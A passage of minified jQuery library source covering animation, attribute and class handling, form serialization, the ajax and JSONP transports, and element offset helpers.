n,r=0,i=e.length;r<i;r++)n=e[r],yt.tweeners[n]=yt.tweeners[n]||[],yt.tweeners[n].unshift(t)},prefilters:[function(e,t,n){var r,i,o,a,s,u,l,c,f="width"in t||"height"in t,p=this,d={},h=e.style,g=e.nodeType&&ee(e),v=_.get(e,"fxshow");for(r in n.queue||(null==(a=ce._queueHooks(e,"fx")).unqueued&&(a.unqueued=0,s=a.empty.fire,a.empty.fire=function(){a.unqueued||s()}),a.unqueued++,p.always(function(){p.always(function(){a.unqueued--,ce.queue(e,"fx").length||a.empty.fire()})})),t)if(i=t[r],ft.test(i)){if(delete t[r],o=o||"toggle"===i,i===(g?"hide":"show")){if("show"!==i||!v||void 0===v[r])continue;g=!0}d[r]=v&&v[r]||ce.style(e,r)}if((u=!ce.isEmptyObject(t))||!ce.isEmptyObject(d))for(r in f&&1===e.nodeType&&(n.overflow=[h.overflow,h.overflowX,h.overflowY],null==(l=v&&v.display)&&(l=_.get(e,"display")),"none"===(c=ce.css(e,"display"))&&(l?c=l:(re([e],!0),l=e.style.display||l,c=ce.css(e,"display"),re([e]))),("inline"===c||"inline-block"===c&&null!=l)&&"none"===ce.css(e,"float")&&(u||(p.done(function(){h.display=l}),null==l&&(c=h.display,l="none"===c?"":c)),h.display="inline-block")),n.overflow&&(h.overflow="hidden",p.always(function(){h.overflow=n.overflow[0],h.overflowX=n.overflow[1],h.overflowY=n.overflow[2]})),u=!1,d)u||(v?"hidden"in v&&(g=v.hidden):v=_.access(e,"fxshow",{display:l}),o&&(v.hidden=!g),g&&re([e],!0),p.done(function(){for(r in g||re([e]),_.remove(e,"fxshow"),d)ce.style(e,r,d[r])})),u=vt(g?v[r]:0,r,p),r in v||(v[r]=u.start,g&&(u.end=u.start,u.start=0))}],prefilter:function(e,t){t?yt.prefilters.unshift(e):yt.prefilters.push(e)}}),ce.speed=function(e,t,n){var r=e&&"object"==typeof e?ce.extend({},e):{complete:n||!n&&t||v(e)&&e,duration:e,easing:n&&t||t&&!v(t)&&t};return ce.fx.off?r.duration=0:"number"!=typeof r.duration&&(r.duration in ce.fx.speeds?r.duration=ce.fx.speeds[r.duration]:r.duration=ce.fx.speeds._default),null!=r.queue&&!0!==r.queue||(r.queue="fx"),r.old=r.complete,r.complete=function(){v(r.old)&&r.old.call(this),r.queue&&ce.dequeue(this,r.queue)},r},ce.fn.extend({fadeTo:function(e,t,n,r){return this.filter(ee).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(t,e,n,r){var i=ce.isEmptyObject(t),o=ce.speed(e,n,r),a=function(){var e=yt(this,ce.extend({},t),o);(i||_.get(this,"finish"))&&e.stop(!0)};return a.finish=a,i||!1===o.queue?this.each(a):this.queue(o.queue,a)},stop:function(i,e,o){var a=function(e){var t=e.stop;delete e.stop,t(o)};return"string"!=typeof i&&(o=e,e=i,i=void 0),e&&this.queue(i||"fx",[]),this.each(function(){var e=!0,t=null!=i&&i+"queueHooks",n=ce.timers,r=_.get(this);if(t)r[t]&&r[t].stop&&a(r[t]);else for(t in r)r[t]&&r[t].stop&&pt.test(t)&&a(r[t]);for(t=n.length;t--;)n[t].elem!==this||null!=i&&n[t].queue!==i||(n[t].anim.stop(o),e=!1,n.splice(t,1));!e&&o||ce.dequeue(this,i)})},finish:function(a){return!1!==a&&(a=a||"fx"),this.each(function(){var e,t=_.get(this),n=t[a+"queue"],r=t[a+"queueHooks"],i=ce.timers,o=n?n.length:0;for(t.finish=!0,ce.queue(this,a,[]),r&&r.stop&&r.stop.call(this,!0),e=i.length;e--;)i[e].elem===this&&i[e].queue===a&&(i[e].anim.stop(!0),i.splice(e,1));for(e=0;e<o;e++)n[e]&&n[e].finish&&n[e].finish.call(this);delete t.finish})}}),ce.each(["toggle","show","hide"],function(e,r){var i=ce.fn[r];ce.fn[r]=function(e,t,n){return null==e||"boolean"==typeof e?i.apply(this,arguments):this.animate(gt(r,!0),e,t,n)}}),ce.each({slideDown:gt("show"),slideUp:gt("hide"),slideToggle:gt("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,r){ce.fn[e]=function(e,t,n){return this.animate(r,e,t,n)}}),ce.timers=[],ce.fx.tick=function(){var e,t=0,n=ce.timers;for(st=Date.now();t<n.length;t++)(e=n[t])()||n[t]!==e||n.splice(t--,1);n.length||ce.fx.stop(),st=void 0},ce.fx.timer=function(e){ce.timers.push(e),ce.fx.start()},ce.fx.interval=13,ce.fx.start=function(){ut||(ut=!0,dt())},ce.fx.stop=function(){ut=null},ce.fx.speeds={slow:600,fast:200,_default:400},ce.fn.delay=function(r,e){return r=ce.fx&&ce.fx.speeds[r]||r,e=e||"fx",this.queue(e,function(e,t){var n=ie.setTimeout(e,r);t.stop=function(){ie.clearTimeout(n)}})},lt=C.createElement("input"),ct=C.createElement("select").appendChild(C.createElement("option")),lt.type="checkbox",le.checkOn=""!==lt.value,le.optSelected=ct.selected,(lt=C.createElement("input")).value="t",lt.type="radio",le.radioValue="t"===lt.value;var mt,xt=ce.expr.attrHandle;ce.fn.extend({attr:function(e,t){return M(this,ce.attr,e,t,1<arguments.length)},removeAttr:function(e){return this.each(function(){ce.removeAttr(this,e)})}}),ce.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?ce.prop(e,t,n):(1===o&&ce.isXMLDoc(e)||(i=ce.attrHooks[t.toLowerCase()]||(ce.expr.match.bool.test(t)?mt:void 0)),void 0!==n?null===n?void ce.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:null==(r=ce.find.attr(e,t))?void 0:r)},attrHooks:{type:{set:function(e,t){if(!le.radioValue&&"radio"===t&&fe(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,i=t&&t.match(D);if(i&&1===e.nodeType)while(n=i[r++])e.removeAttribute(n)}}),mt={set:function(e,t,n){return!1===t?ce.removeAttr(e,n):e.setAttribute(n,n),n}},ce.each(ce.expr.match.bool.source.match(/\w+/g),function(e,t){var a=xt[t]||ce.find.attr;xt[t]=function(e,t,n){var r,i,o=t.toLowerCase();return n||(i=xt[o],xt[o]=r,r=null!=a(e,t,n)?o:null,xt[o]=i),r}});var bt=/^(?:input|select|textarea|button)$/i,wt=/^(?:a|area)$/i;function Tt(e){return(e.match(D)||[]).join(" ")}function Ct(e){return e.getAttribute&&e.getAttribute("class")||""}function kt(e){return Array.isArray(e)?e:"string"==typeof e&&e.match(D)||[]}ce.fn.extend({prop:function(e,t){return M(this,ce.prop,e,t,1<arguments.length)},removeProp:function(e){return this.each(function(){delete this[ce.propFix[e]||e]})}}),ce.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&ce.isXMLDoc(e)||(t=ce.propFix[t]||t,i=ce.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=ce.find.attr(e,"tabindex");return t?parseInt(t,10):bt.test(e.nodeName)||wt.test(e.nodeName)&&e.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),le.optSelected||(ce.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),ce.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){ce.propFix[this.toLowerCase()]=this}),ce.fn.extend({addClass:function(t){var e,n,r,i,o,a;return v(t)?this.each(function(e){ce(this).addClass(t.call(this,e,Ct(this)))}):(e=kt(t)).length?this.each(function(){if(r=Ct(this),n=1===this.nodeType&&" "+Tt(r)+" "){for(o=0;o<e.length;o++)i=e[o],n.indexOf(" "+i+" ")<0&&(n+=i+" ");a=Tt(n),r!==a&&this.setAttribute("class",a)}}):this},removeClass:function(t){var e,n,r,i,o,a;return v(t)?this.each(function(e){ce(this).removeClass(t.call(this,e,Ct(this)))}):arguments.length?(e=kt(t)).length?this.each(function(){if(r=Ct(this),n=1===this.nodeType&&" "+Tt(r)+" "){for(o=0;o<e.length;o++){i=e[o];while(-1<n.indexOf(" "+i+" "))n=n.replace(" "+i+" "," ")}a=Tt(n),r!==a&&this.setAttribute("class",a)}}):this:this.attr("class","")},toggleClass:function(t,n){var e,r,i,o,a=typeof t,s="string"===a||Array.isArray(t);return v(t)?this.each(function(e){ce(this).toggleClass(t.call(this,e,Ct(this),n),n)}):"boolean"==typeof n&&s?n?this.addClass(t):this.removeClass(t):(e=kt(t),this.each(function(){if(s)for(o=ce(this),i=0;i<e.length;i++)r=e[i],o.hasClass(r)?o.removeClass(r):o.addClass(r);else void 0!==t&&"boolean"!==a||((r=Ct(this))&&_.set(this,"__className__",r),this.setAttribute&&this.setAttribute("class",r||!1===t?"":_.get(this,"__className__")||""))}))},hasClass:function(e){var t,n,r=0;t=" "+e+" ";while(n=this[r++])if(1===n.nodeType&&-1<(" "+Tt(Ct(n))+" ").indexOf(t))return!0;return!1}});var St=/\r/g;ce.fn.extend({val:function(n){var r,e,i,t=this[0];return arguments.length?(i=v(n),this.each(function(e){var t;1===this.nodeType&&(null==(t=i?n.call(this,e,ce(this).val()):n)?t="":"number"==typeof t?t+="":Array.isArray(t)&&(t=ce.map(t,function(e){return null==e?"":e+""})),(r=ce.valHooks[this.type]||ce.valHooks[this.nodeName.toLowerCase()])&&"set"in r&&void 0!==r.set(this,t,"value")||(this.value=t))})):t?(r=ce.valHooks[t.type]||ce.valHooks[t.nodeName.toLowerCase()])&&"get"in r&&void 0!==(e=r.get(t,"value"))?e:"string"==typeof(e=t.value)?e.replace(St,""):null==e?"":e:void 0}}),ce.extend({valHooks:{option:{get:function(e){var t=ce.find.attr(e,"value");return null!=t?t:Tt(ce.text(e))}},select:{get:function(e){var t,n,r,i=e.options,o=e.selectedIndex,a="select-one"===e.type,s=a?null:[],u=a?o+1:i.length;for(r=o<0?u:a?o:0;r<u;r++)if(((n=i[r]).selected||r===o)&&!n.disabled&&(!n.parentNode.disabled||!fe(n.parentNode,"optgroup"))){if(t=ce(n).val(),a)return t;s.push(t)}return s},set:function(e,t){var n,r,i=e.options,o=ce.makeArray(t),a=i.length;while(a--)((r=i[a]).selected=-1<ce.inArray(ce.valHooks.option.get(r),o))&&(n=!0);return n||(e.selectedIndex=-1),o}}}}),ce.each(["radio","checkbox"],function(){ce.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=-1<ce.inArray(ce(e).val(),t)}},le.checkOn||(ce.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})});var Et=ie.location,jt={guid:Date.now()},At=/\?/;ce.parseXML=function(e){var t,n;if(!e||"string"!=typeof e)return null;try{t=(new ie.DOMParser).parseFromString(e,"text/xml")}catch(e){}return n=t&&t.getElementsByTagName("parsererror")[0],t&&!n||ce.error("Invalid XML: "+(n?ce.map(n.childNodes,function(e){return e.textContent}).join("\n"):e)),t};var Dt=/^(?:focusinfocus|focusoutblur)$/,Nt=function(e){e.stopPropagation()};ce.extend(ce.event,{trigger:function(e,t,n,r){var i,o,a,s,u,l,c,f,p=[n||C],d=ue.call(e,"type")?e.type:e,h=ue.call(e,"namespace")?e.namespace.split("."):[];if(o=f=a=n=n||C,3!==n.nodeType&&8!==n.nodeType&&!Dt.test(d+ce.event.triggered)&&(-1<d.indexOf(".")&&(d=(h=d.split(".")).shift(),h.sort()),u=d.indexOf(":")<0&&"on"+d,(e=e[ce.expando]?e:new ce.Event(d,"object"==typeof e&&e)).isTrigger=r?2:3,e.namespace=h.join("."),e.rnamespace=e.namespace?new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,e.result=void 0,e.target||(e.target=n),t=null==t?[e]:ce.makeArray(t,[e]),c=ce.event.special[d]||{},r||!c.trigger||!1!==c.trigger.apply(n,t))){if(!r&&!c.noBubble&&!y(n)){for(s=c.delegateType||d,Dt.test(s+d)||(o=o.parentNode);o;o=o.parentNode)p.push(o),a=o;a===(n.ownerDocument||C)&&p.push(a.defaultView||a.parentWindow||ie)}i=0;while((o=p[i++])&&!e.isPropagationStopped())f=o,e.type=1<i?s:c.bindType||d,(l=(_.get(o,"events")||Object.create(null))[e.type]&&_.get(o,"handle"))&&l.apply(o,t),(l=u&&o[u])&&l.apply&&$(o)&&(e.result=l.apply(o,t),!1===e.result&&e.preventDefault());return e.type=d,r||e.isDefaultPrevented()||c._default&&!1!==c._default.apply(p.pop(),t)||!$(n)||u&&v(n[d])&&!y(n)&&((a=n[u])&&(n[u]=null),ce.event.triggered=d,e.isPropagationStopped()&&f.addEventListener(d,Nt),n[d](),e.isPropagationStopped()&&f.removeEventListener(d,Nt),ce.event.triggered=void 0,a&&(n[u]=a)),e.result}},simulate:function(e,t,n){var r=ce.extend(new ce.Event,n,{type:e,isSimulated:!0});ce.event.trigger(r,null,t)}}),ce.fn.extend({trigger:function(e,t){return this.each(function(){ce.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return ce.event.trigger(e,t,n,!0)}});var qt=/\[\]$/,Lt=/\r?\n/g,Ht=/^(?:submit|button|image|reset|file)$/i,Ot=/^(?:input|select|textarea|keygen)/i;function Pt(n,e,r,i){var t;if(Array.isArray(e))ce.each(e,function(e,t){r||qt.test(n)?i(n,t):Pt(n+"["+("object"==typeof t&&null!=t?e:"")+"]",t,r,i)});else if(r||"object"!==x(e))i(n,e);else for(t in e)Pt(n+"["+t+"]",e[t],r,i)}ce.param=function(e,t){var n,r=[],i=function(e,t){var n=v(t)?t():t;r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(null==n?"":n)};if(null==e)return"";if(Array.isArray(e)||e.jquery&&!ce.isPlainObject(e))ce.each(e,function(){i(this.name,this.value)});else for(n in e)Pt(n,e[n],t,i);return r.join("&")},ce.fn.extend({serialize:function(){return ce.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=ce.prop(this,"elements");return e?ce.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!ce(this).is(":disabled")&&Ot.test(this.nodeName)&&!Ht.test(e)&&(this.checked||!we.test(e))}).map(function(e,t){var n=ce(this).val();return null==n?null:Array.isArray(n)?ce.map(n,function(e){return{name:t.name,value:e.replace(Lt,"\r\n")}}):{name:t.name,value:n.replace(Lt,"\r\n")}}).get()}});var Mt=/%20/g,Rt=/#.*$/,It=/([?&])_=[^&]*/,Wt=/^(.*?):[ \t]*([^\r\n]*)$/gm,Ft=/^(?:GET|HEAD)$/,$t=/^\/\//,Bt={},_t={},zt="*/".concat("*"),Xt=C.createElement("a");function Ut(o){return function(e,t){"string"!=typeof e&&(t=e,e="*");var n,r=0,i=e.toLowerCase().match(D)||[];if(v(t))while(n=i[r++])"+"===n[0]?(n=n.slice(1)||"*",(o[n]=o[n]||[]).unshift(t)):(o[n]=o[n]||[]).push(t)}}function Vt(t,i,o,a){var s={},u=t===_t;function l(e){var r;return s[e]=!0,ce.each(t[e]||[],function(e,t){var n=t(i,o,a);return"string"!=typeof n||u||s[n]?u?!(r=n):void 0:(i.dataTypes.unshift(n),l(n),!1)}),r}return l(i.dataTypes[0])||!s["*"]&&l("*")}function Gt(e,t){var n,r,i=ce.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((i[n]?e:r||(r={}))[n]=t[n]);return r&&ce.extend(!0,e,r),e}Xt.href=Et.href,ce.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Et.href,type:"GET",isLocal:/^(?:about|app|app-storage|.+-extension|file|res|widget):$/.test(Et.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":zt,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":ce.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?Gt(Gt(e,ce.ajaxSettings),t):Gt(ce.ajaxSettings,e)},ajaxPrefilter:Ut(Bt),ajaxTransport:Ut(_t),ajax:function(e,t){"object"==typeof e&&(t=e,e=void 0),t=t||{};var c,f,p,n,d,r,h,g,i,o,v=ce.ajaxSetup({},t),y=v.context||v,m=v.context&&(y.nodeType||y.jquery)?ce(y):ce.event,x=ce.Deferred(),b=ce.Callbacks("once memory"),w=v.statusCode||{},a={},s={},u="canceled",T={readyState:0,getResponseHeader:function(e){var t;if(h){if(!n){n={};while(t=Wt.exec(p))n[t[1].toLowerCase()+" "]=(n[t[1].toLowerCase()+" "]||[]).concat(t[2])}t=n[e.toLowerCase()+" "]}return null==t?null:t.join(", ")},getAllResponseHeaders:function(){return h?p:null},setRequestHeader:function(e,t){return null==h&&(e=s[e.toLowerCase()]=s[e.toLowerCase()]||e,a[e]=t),this},overrideMimeType:function(e){return null==h&&(v.mimeType=e),this},statusCode:function(e){var t;if(e)if(h)T.always(e[T.status]);else for(t in e)w[t]=[w[t],e[t]];return this},abort:function(e){var t=e||u;return c&&c.abort(t),l(0,t),this}};if(x.promise(T),v.url=((e||v.url||Et.href)+"").replace($t,Et.protocol+"//"),v.type=t.method||t.type||v.method||v.type,v.dataTypes=(v.dataType||"*").toLowerCase().match(D)||[""],null==v.crossDomain){r=C.createElement("a");try{r.href=v.url,r.href=r.href,v.crossDomain=Xt.protocol+"//"+Xt.host!=r.protocol+"//"+r.host}catch(e){v.crossDomain=!0}}if(v.data&&v.processData&&"string"!=typeof v.data&&(v.data=ce.param(v.data,v.traditional)),Vt(Bt,v,t,T),h)return T;for(i in(g=ce.event&&v.global)&&0==ce.active++&&ce.event.trigger("ajaxStart"),v.type=v.type.toUpperCase(),v.hasContent=!Ft.test(v.type),f=v.url.replace(Rt,""),v.hasContent?v.data&&v.processData&&0===(v.contentType||"").indexOf("application/x-www-form-urlencoded")&&(v.data=v.data.replace(Mt,"+")):(o=v.url.slice(f.length),v.data&&(v.processData||"string"==typeof v.data)&&(f+=(At.test(f)?"&":"?")+v.data,delete v.data),!1===v.cache&&(f=f.replace(It,"$1"),o=(At.test(f)?"&":"?")+"_="+jt.guid+++o),v.url=f+o),v.ifModified&&(ce.lastModified[f]&&T.setRequestHeader("If-Modified-Since",ce.lastModified[f]),ce.etag[f]&&T.setRequestHeader("If-None-Match",ce.etag[f])),(v.data&&v.hasContent&&!1!==v.contentType||t.contentType)&&T.setRequestHeader("Content-Type",v.contentType),T.setRequestHeader("Accept",v.dataTypes[0]&&v.accepts[v.dataTypes[0]]?v.accepts[v.dataTypes[0]]+("*"!==v.dataTypes[0]?", "+zt+"; q=0.01":""):v.accepts["*"]),v.headers)T.setRequestHeader(i,v.headers[i]);if(v.beforeSend&&(!1===v.beforeSend.call(y,T,v)||h))return T.abort();if(u="abort",b.add(v.complete),T.done(v.success),T.fail(v.error),c=Vt(_t,v,t,T)){if(T.readyState=1,g&&m.trigger("ajaxSend",[T,v]),h)return T;v.async&&0<v.timeout&&(d=ie.setTimeout(function(){T.abort("timeout")},v.timeout));try{h=!1,c.send(a,l)}catch(e){if(h)throw e;l(-1,e)}}else l(-1,"No Transport");function l(e,t,n,r){var i,o,a,s,u,l=t;h||(h=!0,d&&ie.clearTimeout(d),c=void 0,p=r||"",T.readyState=0<e?4:0,i=200<=e&&e<300||304===e,n&&(s=function(e,t,n){var r,i,o,a,s=e.contents,u=e.dataTypes;while("*"===u[0])u.shift(),void 0===r&&(r=e.mimeType||t.getResponseHeader("Content-Type"));if(r)for(i in s)if(s[i]&&s[i].test(r)){u.unshift(i);break}if(u[0]in n)o=u[0];else{for(i in n){if(!u[0]||e.converters[i+" "+u[0]]){o=i;break}a||(a=i)}o=o||a}if(o)return o!==u[0]&&u.unshift(o),n[o]}(v,T,n)),!i&&-1<ce.inArray("script",v.dataTypes)&&ce.inArray("json",v.dataTypes)<0&&(v.converters["text script"]=function(){}),s=function(e,t,n,r){var i,o,a,s,u,l={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)l[a.toLowerCase()]=e.converters[a];o=c.shift();while(o)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!u&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),u=o,o=c.shift())if("*"===o)o=u;else if("*"!==u&&u!==o){if(!(a=l[u+" "+o]||l["* "+o]))for(i in l)if((s=i.split(" "))[1]===o&&(a=l[u+" "+s[0]]||l["* "+s[0]])){!0===a?a=l[i]:!0!==l[i]&&(o=s[0],c.unshift(s[1]));break}if(!0!==a)if(a&&e["throws"])t=a(t);else try{t=a(t)}catch(e){return{state:"parsererror",error:a?e:"No conversion from "+u+" to "+o}}}return{state:"success",data:t}}(v,s,T,i),i?(v.ifModified&&((u=T.getResponseHeader("Last-Modified"))&&(ce.lastModified[f]=u),(u=T.getResponseHeader("etag"))&&(ce.etag[f]=u)),204===e||"HEAD"===v.type?l="nocontent":304===e?l="notmodified":(l=s.state,o=s.data,i=!(a=s.error))):(a=l,!e&&l||(l="error",e<0&&(e=0))),T.status=e,T.statusText=(t||l)+"",i?x.resolveWith(y,[o,l,T]):x.rejectWith(y,[T,l,a]),T.statusCode(w),w=void 0,g&&m.trigger(i?"ajaxSuccess":"ajaxError",[T,v,i?o:a]),b.fireWith(y,[T,l]),g&&(m.trigger("ajaxComplete",[T,v]),--ce.active||ce.event.trigger("ajaxStop")))}return T},getJSON:function(e,t,n){return ce.get(e,t,n,"json")},getScript:function(e,t){return ce.get(e,void 0,t,"script")}}),ce.each(["get","post"],function(e,i){ce[i]=function(e,t,n,r){return v(t)&&(r=r||n,n=t,t=void 0),ce.ajax(ce.extend({url:e,type:i,dataType:r,data:t,success:n},ce.isPlainObject(e)&&e))}}),ce.ajaxPrefilter(function(e){var t;for(t in e.headers)"content-type"===t.toLowerCase()&&(e.contentType=e.headers[t]||"")}),ce._evalUrl=function(e,t,n){return ce.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,converters:{"text script":function(){}},dataFilter:function(e){ce.globalEval(e,t,n)}})},ce.fn.extend({wrapAll:function(e){var t;return this[0]&&(v(e)&&(e=e.call(this[0])),t=ce(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(n){return v(n)?this.each(function(e){ce(this).wrapInner(n.call(this,e))}):this.each(function(){var e=ce(this),t=e.contents();t.length?t.wrapAll(n):e.append(n)})},wrap:function(t){var n=v(t);return this.each(function(e){ce(this).wrapAll(n?t.call(this,e):t)})},unwrap:function(e){return this.parent(e).not("body").each(function(){ce(this).replaceWith(this.childNodes)}),this}}),ce.expr.pseudos.hidden=function(e){return!ce.expr.pseudos.visible(e)},ce.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},ce.ajaxSettings.xhr=function(){try{return new ie.XMLHttpRequest}catch(e){}};var Yt={0:200,1223:204},Qt=ce.ajaxSettings.xhr();le.cors=!!Qt&&"withCredentials"in Qt,le.ajax=Qt=!!Qt,ce.ajaxTransport(function(i){var o,a;if(le.cors||Qt&&!i.crossDomain)return{send:function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain||e["X-Requested-With"]||(e["X-Requested-With"]="XMLHttpRequest"),e)r.setRequestHeader(n,e[n]);o=function(e){return function(){o&&(o=a=r.onload=r.onerror=r.onabort=r.ontimeout=r.onreadystatechange=null,"abort"===e?r.abort():"error"===e?"number"!=typeof r.status?t(0,"error"):t(r.status,r.statusText):t(Yt[r.status]||r.status,r.statusText,"text"!==(r.responseType||"text")||"string"!=typeof r.responseText?{binary:r.response}:{text:r.responseText},r.getAllResponseHeaders()))}},r.onload=o(),a=r.onerror=r.ontimeout=o("error"),void 0!==r.onabort?r.onabort=a:r.onreadystatechange=function(){4===r.readyState&&ie.setTimeout(function(){o&&a()})},o=o("abort");try{r.send(i.hasContent&&i.data||null)}catch(e){if(o)throw e}},abort:function(){o&&o()}}}),ce.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),ce.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(e){return ce.globalEval(e),e}}}),ce.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET")}),ce.ajaxTransport("script",function(n){var r,i;if(n.crossDomain||n.scriptAttrs)return{send:function(e,t){r=ce("<script>").attr(n.scriptAttrs||{}).prop({charset:n.scriptCharset,src:n.url}).on("load error",i=function(e){r.remove(),i=null,e&&t("error"===e.type?404:200,e.type)}),C.head.appendChild(r[0])},abort:function(){i&&i()}}});var Jt,Kt=[],Zt=/(=)\?(?=&|$)|\?\?/;ce.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Kt.pop()||ce.expando+"_"+jt.guid++;return this[e]=!0,e}}),ce.ajaxPrefilter("json jsonp",function(e,t,n){var r,i,o,a=!1!==e.jsonp&&(Zt.test(e.url)?"url":"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&Zt.test(e.data)&&"data");if(a||"jsonp"===e.dataTypes[0])return r=e.jsonpCallback=v(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,a?e[a]=e[a].replace(Zt,"$1"+r):!1!==e.jsonp&&(e.url+=(At.test(e.url)?"&":"?")+e.jsonp+"="+r),e.converters["script json"]=function(){return o||ce.error(r+" was not called"),o[0]},e.dataTypes[0]="json",i=ie[r],ie[r]=function(){o=arguments},n.always(function(){void 0===i?ce(ie).removeProp(r):ie[r]=i,e[r]&&(e.jsonpCallback=t.jsonpCallback,Kt.push(r)),o&&v(i)&&i(o[0]),o=i=void 0}),"script"}),le.createHTMLDocument=((Jt=C.implementation.createHTMLDocument("").body).innerHTML="<form></form><form></form>",2===Jt.childNodes.length),ce.parseHTML=function(e,t,n){return"string"!=typeof e?[]:("boolean"==typeof t&&(n=t,t=!1),t||(le.createHTMLDocument?((r=(t=C.implementation.createHTMLDocument("")).createElement("base")).href=C.location.href,t.head.appendChild(r)):t=C),o=!n&&[],(i=w.exec(e))?[t.createElement(i[1])]:(i=Ae([e],t,o),o&&o.length&&ce(o).remove(),ce.merge([],i.childNodes)));var r,i,o},ce.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return-1<s&&(r=Tt(e.slice(s)),e=e.slice(0,s)),v(t)?(n=t,t=void 0):t&&"object"==typeof t&&(i="POST"),0<a.length&&ce.ajax({url:e,type:i||"GET",dataType:"html",data:t}).done(function(e){o=arguments,a.html(r?ce("<div>").append(ce.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},ce.expr.pseudos.animated=function(t){return ce.grep(ce.timers,function(e){return t===e.elem}).length},ce.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l=ce.css(e,"position"),c=ce(e),f={};"static"===l&&(e.style.position="relative"),s=c.offset(),o=ce.css(e,"top"),u=ce.css(e,"left"),("absolute"===l||"fixed"===l)&&-1<(o+u).indexOf("auto")?(a=(r=c.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),v(t)&&(t=t.call(e,n,ce.extend({},s))),null!=t.top&&(f.top=t.top-s.top+a),null!=t.left&&(f.left=t.left-s.left+i),"using"in t?t.using.call(e,f):c.css(f)}},ce.fn.extend({offset:function(t){if(arguments.length)return void 0===t?this:this.each(function(e){ce.offset.setOffset(this,t,e)});var e,n,r=this[0];return r?r.getClientRects().length?(e=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:e.top+n.pageYOffset,left:e.left+n.pageXOffset}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===ce.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===ce.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=ce(e).offset()).top+=ce.css(e,"borderTopWidth",!0),i.left+=ce.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-ce.css(r,"marginTop",!0),left:t.left-i.left-ce.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===ce.css(e,"position"))e=e.offsetParent;return e||J})}}),ce.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(t,i){var o="pageYOffset"===i;ce.fn[t]=function(e){return M(this,function(e,t,n){var r;if(y(e)?r=e:9===e.nodeType&&(r=e.defaultView),void 0===n)return r?r[i]:e[t];r?r.scrollTo(o?r.pageXOffset:n,o?n:r.pageYOffset):e[t]=n},t,e,arguments.length)}}),ce.each(["top","left"],function(e,n){ce.cssHooks[n]=Ye(le.pixelPosition,function(e,t){if(t)return 